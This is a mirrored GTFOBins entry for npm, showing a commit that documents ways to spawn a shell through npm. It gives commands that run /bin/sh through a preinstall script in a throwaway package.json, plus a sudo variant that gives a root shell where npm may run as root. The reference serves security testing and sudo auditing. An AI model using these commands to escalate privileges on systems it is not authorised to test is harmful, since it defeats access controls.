mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
fd476e08c2
Mention an additional way to run scripts as suggested in #224.
17 lines
660 B
Markdown
17 lines
660 B
Markdown
---
|
|
functions:
|
|
shell:
|
|
- code: npm exec /bin/sh
|
|
- description: Additionally, arbitrary script names can be used in place of `preinstall` and triggered by name with, e.g., `npm -C $TF run preinstall`.
|
|
code: |
|
|
TF=$(mktemp -d)
|
|
echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
|
|
npm -C $TF i
|
|
sudo:
|
|
- description: Additionally, arbitrary script names can be used in place of `preinstall` and triggered by name with, e.g., `npm -C $TF run preinstall`.
|
|
code: |
|
|
TF=$(mktemp -d)
|
|
echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
|
|
sudo npm -C $TF --unsafe-perm i
|
|
---
|